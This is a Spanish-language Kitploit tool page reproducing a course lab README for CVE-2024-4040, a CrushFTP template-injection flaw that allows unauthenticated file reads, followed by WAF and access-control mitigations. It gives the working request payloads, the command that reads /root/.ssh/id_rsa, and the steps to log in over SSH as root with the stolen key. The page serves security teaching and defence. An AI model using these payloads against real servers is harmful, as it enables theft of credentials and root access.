Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CrushFTP-SSTI-LFI-Proof-of-Concept — Prueba de concepto para CVE-2024-4040 (CrushFTP SSTI -> unauthenticated LFI) en un entorno de laboratorio controlado CS443 - solo para uso educativo/autorizado. | Kitploit
Herramientas/GitHubGitHub/cthhhhhh/crushftp-ssti-lfi-proof-of-concept
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebCTFPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubcthhhhhh/crushftp-ssti-lfi-proof-of-concept

CrushFTP-SSTI-LFI-Proof-of-Concept

Prueba de concepto para CVE-2024-4040 (CrushFTP SSTI -> unauthenticated LFI) en un entorno de laboratorio controlado CS443 - solo para uso educativo/autorizado.

Ver Repositorio
5hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-4040 — CrushFTP SSTI / LFI Prueba de Concepto

Solo para uso educativo y de laboratorio autorizado.
CS443 Seguridad de Software y Sistemas — entorno Docker local controlado.


Resumen de la vulnerabilidad

CampoDetalle
CVECVE-2024-4040
Software afectadoCrushFTP < 10.7.1 (v10 branch) / < 11.1.0 (v11 branch)
Tipo de vulnerabilidadServer-Side Template Injection (SSTI) → Lectura de archivos local no autenticada
Puntuación CVSS9.8 Crítica
ImpactoLos atacantes no autenticados pueden leer archivos arbitrarios del sistema de archivos del servidor

El WebInterface de CrushFTP evalúa expresiones de plantilla en el parámetro path del comando zip sin sanitización. Un atacante no autenticado puede obtener cookies de sesión anónimas y luego usarlas para pasar cargas útiles de plantillas ({working_dir}, <INCLUDE>…</INCLUDE>) que el servidor evalúa y devuelve, permitiendo la lectura de archivos arbitrarios en todo el host.


Entorno de Laboratorio

ComponenteValor
Objetivohttp://localhost:8080
Versión base de CrushFTP para PoC10.3.0 (intencionalmente vulnerable)
Entorno de prueba de Mitigación 3Contenedor separado ejecutando CrushFTP 11.x (rama parcheada)
Puerto SSH (contenedor)2222 → 22
Credenciales de administradoradmin / admin
Runtime del contenedorDocker (Compose)

Requisitos previos

pip install requests rich

Scripts

ScriptFuentePropósito
crushed.pyStuub/CVE-2024-4040-SSTI-LFI-PoCExploit completo de SSTI/LFI — robo de sesión, lectura arbitraria de archivos
recon.pyEste repositorioDetección de versión, sondeo SSTI en vivo, confirmación de vulnerabilidad

Recorrido de la Prueba de Concepto

Paso 1 — Iniciar el Laboratorio

docker-compose up -d

Espere aproximadamente 10 segundos para que CrushFTP se inicialice completamente antes de ejecutar los scripts. No se requiere un paso de reconocimiento separado aquí porque crushed.py ya verifica si la explotación es posible durante la ejecución.


Paso 2 — Robar la Clave Privada SSH mediante LFI

python crushed.py -t http://localhost:8080 -l /root/.ssh/id_rsa

El script hará lo siguiente:

  1. Obtener una sesión anónima CrushAuth / currentAuth desde /WebInterface/
  2. Usar SSTI para confirmar la evaluación de plantillas y filtrar el nombre de host del servidor
  3. Usar {working_dir} para resolver el directorio de instalación de CrushFTP
  4. Usar <INCLUDE>/root/.ssh/id_rsa</INCLUDE> para leer el archivo objetivo
  5. Imprimir el contenido del archivo sin procesar en stdout

Copiar el bloque de la clave privada de la salida (todo desde -----BEGIN OPENSSH PRIVATE KEY----- hasta -----END OPENSSH PRIVATE KEY-----).


Paso 3 — Guardar la Clave Robada

cat > stolen_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<paste key from output>
-----END OPENSSH PRIVATE KEY-----
EOF

chmod 600 stolen_id_rsa

Paso 4 — Conectarse por SSH al Contenedor como Root

ssh -i stolen_id_rsa root@localhost -p 2222 -o StrictHostKeyChecking=no

Paso 5 — Confirmar el Acceso Root

whoami
# Expected: root

id
# Expected: uid=0(root) gid=0(root) groups=0(root)

hostname
# Expected: <container_id>

Diagrama de la Cadena de Ataque

Unauthenticated attacker
        │
        ▼
GET /WebInterface/          ← obtains anonymous CrushAuth + currentAuth cookies
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={hostname}          ← SSTI confirmed — template evaluated by server
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={working_dir}       ← leaks absolute installation path
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path=<INCLUDE>/root/.ssh/id_rsa</INCLUDE>   ← arbitrary file read
        │
        ▼
SSH -i stolen_id_rsa root@localhost -p 2222    ← full root shell

Problemas Conocidos Clave en crushed.py

ProblemaUbicaciónDetalles
Dependencia faltanteLíneas 6–9Requiere pip install rich antes de ejecutar
Análisis XML frágilLíneas 86, 140Falla en respuestas del servidor que no son XML; sin manejo de ParseError
Expresión regular de token demasiado estrictaLíneas 160–161El patrón CrushAuth=…; currentAuth=… puede no coincidir con todos los formatos de sessions.obj
Solo HTTP 404Línea 53La captura de cookies solo tiene éxito con 404; pasa silenciosamente en otros códigos de estado

Estrategias de Mitigación

Mitigación 1 — Cortafuegos de Aplicación Web (NGINX + ModSecurity)

Visión General

Un WAF actúa como un proxy inverso que inspecciona el tráfico HTTP/S entrante antes de que llegue a CrushFTP. Usando NGINX con ModSecurity, las solicitudes maliciosas que explotan CVE-2024-4040 se bloquean en el borde de la red sin modificar CrushFTP.

Cómo Mitiga CVE-2024-4040

  • Bloquea patrones de salto de directorio (por ejemplo, ../, %2e%2e) en las URI de solicitud y cookies
  • Evita que las solicitudes de escape VFS no autenticadas lleguen a CrushFTP
  • Registra y deniega cargas útiles sospechosas antes de que lleguen a la aplicación

Configuración Docker

Usar Mitigation 1/docker-compose.yaml:

services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"

  nginx:
    image: nginx:latest
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - crushftp

Configuración de NGINX

Usar Mitigation 1/nginx.conf:

worker_processes 1;

events {
    worker_connections 1024;
}

http {
    # Enable ModSecurity
    modsecurity on;
    modsecurity_rules_file /etc/modsecurity.d/setup.conf;

    upstream crushftp {
        server crushftp:8080;
    }

    server {
        listen 80;
        server_name localhost;

        # Proxy all traffic to CrushFTP
        location / {
            proxy_pass http://crushftp;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_set_header X-Forwarded-Proto $scheme;
        }

        # Return 403 for blocked requests
        error_page 403 /403.html;
        location = /403.html {
            return 403 '{"error": "Request blocked by WAF"}';
        }
    }
}

Flujo de Tráfico

Attacker -> NGINX WAF (port 80) -> blocks malicious -> 403 Forbidden
                             -> forwards clean -> CrushFTP:8080

Limitaciones

  • No parchea la causa raíz: CrushFTP sigue siendo vulnerable si se omite el WAF
  • Requiere actualizaciones de reglas a medida que los atacantes desarrollan técnicas de ofuscación

Mitigación 2 — Deshabilitar el Acceso de Usuarios Anónimos

Visión General

CVE-2024-4040 es explotable sin autenticación. En este laboratorio, el acceso anónimo se bloquea en la capa de NGINX al requerir un encabezado Authorization antes de enviar rutas sensibles a CrushFTP.

Cómo Mitiga CVE-2024-4040

  • Los scripts de exploit como crushed.py dependen del acceso no autenticado; las solicitudes sin credenciales son rechazadas con 401
  • Las solicitudes a /WebInterface/ y / son denegadas a menos que estén presentes datos de autenticación
  • Reduce la exposición de endpoints vulnerables a usuarios no autenticados

Configuración Docker (Exacto de Mitigation 2/docker-compose.yaml)

services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"

  nginx:
    image: nginx:latest
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - crushftp
Descargar herramienta